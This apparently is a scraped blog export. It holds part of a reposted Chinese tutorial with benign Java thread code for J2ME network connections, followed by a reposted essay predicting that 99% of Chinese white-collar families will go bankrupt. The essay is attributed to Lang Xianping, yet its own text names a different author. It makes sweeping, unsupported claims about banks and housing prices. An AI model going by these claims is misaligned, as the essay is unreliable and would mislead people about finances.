\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;this.url\u0026#160;=\u0026#160;new\u0026#160;URL(url);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;void\u0026#160;run()\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;try\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;conn\u0026#160;=\u0026#160;(HttpURLConnection)\u0026#160;url.openConnection();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;catch\u0026#160;(IOException\u0026#160;e)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;e.printStackTrace();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;url\u0026#160;=\u0026#160;null;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;HttpURLConnection\u0026#160;getConn()\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;return\u0026#160;conn;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;static\u0026#160;void\u0026#160;main(String[]\u0026#160;args)\u0026#160;throws\u0026#160;Exception\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;OpenConn2\u0026#160;openConn\u0026#160;=\u0026#160;new\u0026#160;OpenConn2(\u0026quot;http://www.google.com\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;openConn.start();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;openConn.join(10000);//\u0026#160;wait\u0026#160;10\u0026#160;seconds\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;HttpURLConnection\u0026#160;c\u0026#160;=\u0026#160;openConn.getConn();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;if\u0026#160;(c\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;连接网络成功\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;BufferedReader\u0026#160;r\u0026#160;=\u0026#160;new\u0026#160;BufferedReader(new\u0026#160;InputStreamReader(c\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;.getInputStream()));\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;String\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;while\u0026#160;(s\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(s);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;else\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;超时错误,连接网络失败\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; }\u0026#160;\u0026#160; /** * 测试Runnable接口线程 * @author mfcai */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.Reader; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; public class OpenConn2 extends Thread { private HttpURLConnection conn; private URL url; public OpenConn2(String url) throws MalformedURLException { this.url = new URL(url); } public void run() { try { conn = (HttpURLConnection) url.openConnection(); } catch (IOException e) { e.printStackTrace(); url = null; } } public HttpURLConnection getConn() { return conn; } public static void main(String[] args) throws Exception { OpenConn2 openConn = new OpenConn2(\u0026quot;http://www.google.com\u0026quot;); openConn.start(); openConn.join(10000);// wait 10 seconds HttpURLConnection c = openConn.getConn(); if (c != null) { System.out.println(\u0026quot;连接网络成功...\u0026quot;); BufferedReader r = new BufferedReader(new InputStreamReader(c .getInputStream())); String s = r.readLine(); while (s != null) { System.out.println(s); s = r.readLine(); } } else { System.out.println(\u0026quot;超时错误,连接网络失败...\u0026quot;); } } } 3.以匿名内部类的方式创建 即在一个方法中创建线程，当方法被调用时，线程即启动，如下： Java 代码 /**\u0026#160;\u0026#160; *\u0026#160;测 试匿名线程线程创建\u0026#160;\u0026#160; *\u0026#160;@author\u0026#160;mfcai\u0026#160;\u0026#160; */\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160; import\u0026#160;java.io.BufferedReader;\u0026#160;\u0026#160; import\u0026#160;java.io.IOException;\u0026#160;\u0026#160; import\u0026#160;java.io.InputStreamReader;\u0026#160;\u0026#160; import\u0026#160;java.net.HttpURLConnection;\u0026#160;\u0026#160; import\u0026#160;java.net.URL;\u0026#160;\u0026#160; \u0026#160;\u0026#160; public\u0026#160;class\u0026#160;OpenConn3\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;HttpURLConnection\u0026#160;conn;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;private\u0026#160;URL\u0026#160;url;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;static\u0026#160;void\u0026#160;main(String[]\u0026#160;args){\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;try{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;OpenConn3\u0026#160;open3=\u0026#160;new\u0026#160;OpenConn3();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;open3.strartMyThread();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}catch(Exception\u0026#160;ex){\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(ex.toString());\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;void\u0026#160;strartMyThread()\u0026#160;throws\u0026#160;Exception{\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;this.url\u0026#160;=new\u0026#160;URL(\u0026quot;http://www.google.com\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;java.lang.Runnable\u0026#160;runner=new\u0026#160;Runnable(){\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;public\u0026#160;void\u0026#160;run(){\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;try\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;conn\u0026#160;=\u0026#160;(HttpURLConnection)\u0026#160;url.openConnection();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;catch\u0026#160;(IOException\u0026#160;e)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;e.printStackTrace();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;url\u0026#160;=\u0026#160;null;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;};\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;Thread\u0026#160;openConn=new\u0026#160;Thread(runner);\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;openConn.start();\u0026#160;\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;openConn.join(10000);//\u0026#160;wait\u0026#160;10\u0026#160;seconds\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;if\u0026#160;(conn\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;连接网络成功\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;BufferedReader\u0026#160;r\u0026#160;=\u0026#160;new\u0026#160;BufferedReader(new\u0026#160;InputStreamReader(conn\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;.getInputStream()));\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;String\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;while\u0026#160;(s\u0026#160;!=\u0026#160;null)\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(s);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;s\u0026#160;=\u0026#160;r.readLine();\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;else\u0026#160;{\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;System.out.println(\u0026quot;超时错误,连接网络失败\u0026#8230;\u0026quot;);\u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; \u0026#160;\u0026#160; \u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;}\u0026#160;\u0026#160; }\u0026#160;\u0026#160; /** * 测试匿名线程线程创建 * @author mfcai */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.URL; public class OpenConn3 { private HttpURLConnection conn; private URL url; public static void main(String[] args){ try{ OpenConn3 open3= new OpenConn3(); open3.strartMyThread(); }catch(Exception ex){ System.out.println(ex.toString()); } } public void strartMyThread() throws Exception{ this.url =new URL(\u0026quot;http://www.google.com\u0026quot;); java.lang.Runnable runner=new Runnable(){ public void run(){ try { conn = (HttpURLConnection) url.openConnection(); } catch (IOException e) { e.printStackTrace(); url = null; } } }; Thread openConn=new Thread(runner); openConn.start(); openConn.join(10000);// wait 10 seconds if (conn != null) { System.out.println(\u0026quot;连接网络成功...\u0026quot;); BufferedReader r = new BufferedReader(new InputStreamReader(conn .getInputStream())); String s = r.readLine(); while (s != null) { System.out.println(s); s = r.readLine(); } } else { System.out.println(\u0026quot;超时错误,连接网络失败...\u0026quot;); } } } 转载请注明作者和出处。\n","permalink":"https://hessian.cn/p/363.html","summary":"src: http://www.javaeye.com/topic/420224\n在j2me联网时，在eclipse控制台下有一个警告：“若要避免潜在的死锁，应该在commandAction()处理程序之外的其他线程中执行可能 会阻塞的，操作（如网络连接）。 为了避免潜在的死锁，我们经常把把联网的代码部分写到一个线程中去执行。 而实际应用中，网络连接的事务也都是使用一个单独的线程进行的。 ","title":"[转]使用线程创建的三种方式实现j2me联网功能"},{"content":"香港著名经济学家——郎咸平 中国99%的白领以及他们的家庭即将面临破产。而且是必然破产！无 路可逃！这件事可能是发生在未来2-10年。你可以尽量去怀疑这个数字。但它必然发生，绝非危言耸听。\u0026#8217; 就如我预言中国国营企业职工必然失业一样，在当时来说没人信。但确实会发生。因为在中国这样一个发展中国家，其必然以不断的以通货膨胀和改革手段来换取经 济的发展。而每一次改革所带来的阵痛都是由百姓来承担的。无论是上山下乡时迷茫的知青们还是改革开放带来的大量国企纷纷倒闭时大量下岗职工。如果他们能有 一定的前瞻性的话，那么我想他们也许会为自己留一点后路。但是由于过分相信文件以及过分相信生活不会突变，所以才导致了他们的人生悲剧。 有人说政府不会坐视不理白领破产，其实政府当然不愿意。可有的事情……怎么说呢。想想当年 的下岗职工吧。引起了那么大的社会震动。又能怎样呢？今天的白领明天破产的时候也那样而已。 而改革开放20多年来，中国的经济发展快速腾飞。但旧的体制并没有完全更改。各种重要行业依然施行的是政府垄断机制在运转。如：银行， 金融，冶金，能源，信息，运输，医疗，教育，土地。在改革开放初期我国不可能对这些东西进行全方面的改革开放。但到了今天，垄断经营所带来的矛盾日益突 出。 首当其冲的就是房地产。由于我国的法制不健全，尤其是金融以及 改革领域里出现了各种失误导致房地产节节攀升。随着房地产的增加以及外来人口向大城市集中。所以城市新民工也就是所谓的\u0026#8217;白领\u0026#8217;收入表面上也在提升，以北 京为例3000-15000元人民币的月薪处处可见。但这一部分收入主要用于支付租房或还贷。 为了深入地了解为什么99%的白领家庭会破产，我们就必须先了解房价为什么会这么高？高在哪里？资金是运转的？（这里的白领指买房或者 准备买房族。）以及发展趋势带来的相关效应。本文会分三个阶段向你阐述。 1：导致房价爆涨的第一个因素：银行竞争下的贷款开放。 其实房价的爆涨的因素主要是因为百姓在替政府所犯下的错误买单。比如以前一个开发商通过某银行贷款了1000万开发了一个房子。如果还 不起那他就倒霉了，因为所有的银行都是一个体系，你欠了钱没还就再也没有翻身的机会。但是中国在银行改革的基础上开了一条口子，为了各银行之间的竞争所以 把工行，农行，建设银行等等全部独立运营。这本来是好事。但问题是这些银行都不是私有的，而是国家的。我们不难想象。当一个开发商从工行贷款1000万的 后果。他只需要用500万来开发房子，然后把售价提升，再把这个开发中的房子按他的售价标准抵押从农行再贷款 2000万，然后再用这 2000万中的1000万开发一套售价更高的房子来找建设银行抵押贷款4000万。就是这样一个滚雪球的疯狂贷款模式。 房子卖不卖得出去不重要，关键是房价要高，不得降价。反正银行的钱不是私人的，所以稍微疏通 一下行长加之又有\u0026#8217;合法的\u0026#8217;高零售价的楼盘做抵押所以自然就越来越好从银行贷款。 那么这样造成的结果就是，房子价格只攀不跌！因为不能跌！一跌银行贷出去的款就再也回不来了。这可是政府的银行，政府的钱！所以为了堵 住这个资金黑洞一些被收买的专家、媒介便开始疯狂制造舆论用各种舆论手段威逼利诱人买房子。 比如土地资源严重紧张，再不买房将来就只能住在郊区呀之类的。导致人们不得不去买房。其实住不了市中心这种情况这根本不可能发生，城市 居民是一个新老替换的过程，要上班的住城里，老人退休喜欢住郊区。只要人口不爆炸就不会出现上班族住不了市中心的情况。虽然这些舆论造成了很多人买房子， 但是仅仅是这样，房价还没有高到现在这样的离谱。紧接着政府又犯了第二个错误。 2：导致房价爆涨的第二个错误：中国特色的按揭。 按揭本来是一种西方很流行的制度，也很合适。但这个制度一旦运用到中国就有点问题了。因为从大的体制上来说。所有银行都是国家的，而不 是私人的。所以贷款这个关口就不可能控制得住。只要文件上说得过去，人们就能贷到款。 为了早日缓解第一个错误所带来的资金黑洞。政府开始实行个人按揭制度来售房。还经常举什么美国来太太和中国老太太的例子来诱惑人们去按 揭。确实有人按揭了，而且是疯狂的按揭。只要和银行有点\u0026#8217;路子\u0026#8217;的人。他们先按揭一套80万的房子，自己出10万首付然后再从银行贷出70万。之后再把这 个房子抬高价格到180万出售。这个时候他们的亲戚或者老爸老妈再去买下，也用按揭的方式自己出首付30万再从银行贷出150万。然后就不管了。他们不还 贷款怎么办？银行爱收不收。反正根据合同我还不上钱你可以收走房子，我们两不相欠。 所以转了一圈，抬高了几倍价格的房子又回到了政府回到了银行手里。这就解释了为什么很多新楼盘刚开始修就被\u0026#8217;炒房团\u0026#8217;买走了。他们炒的 不是赌房子会升值。而是拿了房子去收拾银行。 银行拿到这个房子怎么 办？更不敢降价了。只好再加点价接着卖。所以普通老百姓现在根本别想买到真正合理价格的房子！即使你直接从开发商手里买来的房子都说不定已经转了好几次手 又回到银行以及开发商手里的了。说句不好听的现在8000/平的房子里，有只有2500才是房价，有5500都是以为决策错误带来的资金黑洞！也就是说你 正在替人任劳任怨地擦屁股。 3：第三个问题：白领家庭何时破 产？？ 那么我们研究了房子价格为什么会涨，再来研究一下中国城市所 谓的白领家庭破产的必然性。 首先国外白领收入确实是高，但是高 得有价值。而中国所谓的白领则普遍素质较差。中国企业内耗严重。人人相轻，人人顽固。所以难怪外资企业一进入中国大陆市场就开始惊呼：\u0026#8217;在中国办企业招不 到人！\u0026#8217;对此我也深有体会。那有人会说：\u0026#8217;既然现在的白领不值这个身价，那水木周平你说说为什么他们还能拿到这样的薪水呢？\u0026#8217; 其实，这由于房地产的火爆造成的一个量子效应。银行损失的资金大量的经过少数人之手流向了市场。这些人开始在中国的其他领域疯狂投资。因为他们自己也知道 房地产就快要崩盘了。他们这样一轮又一轮的投资热潮正在快速消化这些资金，他们投资互联网，投资高新技术，投资娱乐，投资很多很多。但起码付出的工资要够 员工付房子月租或者月供吧。所以正是因为房价的高涨所以造就了中国城市人口工资水平的相对提升。不相信你自己算算你所在的城市白领阶级平均收入一旦交完每 月的房钱，手上还能剩多少钱？我想这个问题就不用我再罗嗦了吧。大家心理有数。所以我可以说一旦房地产崩盘紧接着崩溃的就是你的工资。 有很多很多我认识的白领们都购了房。他们的算盘很简单：\u0026#8217;两口子除开各种税收保险每月纯收入 还 12000。交3000房钱算什么？我还能再买一套呢！\u0026#8217;是的不算什么。但因为房子贵所以什么东西都贵。吃的贵，交通贵，学费贵，医疗费用更贵！！！所以 交了房钱你再除开生活费用就基本上一分钱存不下来，就算存点也赶不上正常的通货膨胀率。问题是如果能一直保持这个现状的话，理论上说应该没事。你这二十年 赚来的钱正好可以弥补政府的两个错误带来的亏损。 但问题也出在这里。随着WTO5年缓冲期的结束，大量外资通讯，银行，医疗，保险等等公司都会陆续进入中国。到时候没有人能阻止你把钱 存入花旗，存入汇丰。请问一下到那个时候谁愿意把钱存在呆帐坏帐如此之多的中国国有银行呢？即使政府再怎么采取措施也可能挤兑，所以到时候会发生什么现在 还很难说。但有一点可以肯定的是到时中国国有这些银行的压力将变得非常巨大。贷款就会难上加上，因为银行根本无钱可贷！同时大量具备高素质人材的外资企业 进入中国必定带来市场的强烈冲击和大量现有企业的倒闭以及白领失业。也就是说。一旦外资企业加入竞争，中国现有的 99%的白领都将面临大环境下的就业压力！ 而且外资银行一旦积累 了资金开始投资房地产，那么由于它们是正常的操作流程所以造出来的房子就会便宜，其必然拉动全国房地产大幅下跌。如我刚才所说，房价一跌，紧跟着跌的就是 你所在的企业的工资收入！可你之前买的房子还贷价格并不会降低或者减少，所以你将无力支付高昂的贷款。那么你的的房子会被银行收走，你的存款会被直接冻 结。所以未来中国城市中的白领们最大的可能是和几十年前的中国国有企业职工一样。辛辛苦苦二十年，到头来竹篮打水一场空！ 如何避免破产？ 看到这里您应该明白，不要买房是一个避免破产的好办法。不过我还要提醒你，为了托住楼市不跌，他们还有个办法，那就是鼓吹老百姓不买房 就不是个爷们儿！您别说，这还真有点效果。现在的人一张口第一句就是：\u0026#8217;你有房吗。\u0026#8217;似乎你没房就是个太监一样。我实在是气得连骂人的力气都没有了。还有 人在百度水木周平这个帖吧里发帖说：\u0026#8217;不买房子你住哪里？\u0026#8217;我就奇怪了，住和买有必然联系吗？在中国一个土地都不属于你的房子卖给你和租给你有什么区别？ （笑）。更别提土匪一样的物业和把人不当人的强制拆迁！这不纯粹是\u0026#8217;皇帝的新装\u0026#8217;吗？不过既然WTO中已经说明出版业和传媒业中国还是不对外开放的。那么 舆论救市就会成为政府和开发商手中的最后一张王牌。 所以我们在面对很多花言巧语的时候还是自己多动动脑子。以后我们听到的房产的鬼话会越来越多，越来越令人发指！比如最近就有砖家在鼓吹 房价不贵时都说： \u0026#8216;什么即使年薪5万，两口子也是一年10万，5年就50万。所以房价当然不贵。\u0026#8217;我奇怪的是居然有人点头称是？也许对于这种或者此类已经进化到了不吃不喝 不病不穿不动且爹娘早已死绝不用赡养的砖家来说也许还真是那么回事。所以大家注意提高警惕。 结束语： 已经买房或者准备买房的白领一族必定随着房价的崩溃而崩溃，那会是一个缓慢发生的过程。短则两 年，长则十年。但这是不可逆转的趋势。所以中国99%城市白领一族已经面临破产一说绝非危言耸听！今天你往银行交的每一分房钱都是替政府替炒房者补洞，只 有一小部分是真正的房钱。明天大环境一变，你没有那么多资金来补洞的时候就会被市场和银行一脚踢回老家，换一批新人来接着补。不信？走着瞧呗！\u0026#8211;PS： 为什么我说99%这个数，是因为根据我的了解99%的人一旦月薪过5000就开始买房，甚至3000，4000都买。小俩口什么都不明白这样买下去人生一 定会很惨。我只是替他们感到忧伤。当然如果你是那1%的智者，多劝救他们吧。独乐乐不如众乐乐。 中国人正在上的四个大当 第一大当：房产 买房意味着什么？意味着你拥有了一个属于自己的房子。是的，你是这样以为，但是在中国你并无法拥有这个房子，只是租给你而已。因为房子是你 的,地不是你的,只是把土地使用权70年(从现在退70年那是抗日战争时期,谁见过那时候的房子?)。房子通常情况下30年左右就会遇上拆迁或者旧房改 造。也就是说你花了买房的钱，却只能得到租房的实际效果。当然这还不是最坏的。最坏的是，当几十年后你发觉上当了！有一群流氓冲进你用一辈子积蓄买下的房 子，画上一个大大的拆字！然后把你的家当全部当垃圾一样的仍出门外，不顾你的苦苦哀求，甚至还在报纸上给你按一个钉子户的臭名，任大众辱骂的时候你就会知 道什么叫做绝望！ 形容中国的房地产有一个很有名的 笑话是这样写的： 以前，有个地主有很多地，找了很多 长工干活，地主给长工们盖了一批团结楼住着，一天，地主的谋士对地主说：东家，长工们这几年手上有点钱了，他们住你的房子，每月交租子，不划算，反正他们 永远住下去，你干脆把房子卖给他们起个名堂叫做——公房出售！告诉他们房子永远归他们了，可以把他们这几年攒的钱收回来，地主说：不错，那租金怎么办？谋 士说：照收不误，起个日本名儿，叫物业费！地主很快实行了，赚了好多钱，长工们那个高兴啊！ 过了几年，地主的村子发展成城镇了，有钱人越来越多，没地方住，谋士对地主说：东家，长工们这几年手上又有钱了，咱们给他们盖新房子， 起个名堂叫做旧城改造，他们把手上的钱给我们，我们拆了房子盖新的，叫他们再买回去，可以多盖一些卖给别人，地主又实行了，这次，有些长工们不高兴了，地 主的家丁派上用途了，长工们打掉牙只好往肚子里咽，地主又赚了好多钱。 又过了几年，地主的村子发展成大城市了，有钱人更多了，地主的土地更值钱了，谋士对地主说：东家，咱们把这些长工的房子拆了，在这个地 方建别墅，拆出来的地盖好房子卖给那些有钱的大款还能赚一笔，地主说：长工们不干怎么办？谋士说：咱给他们钱多点儿，起个名堂叫货币化安置，咱再到咱们的 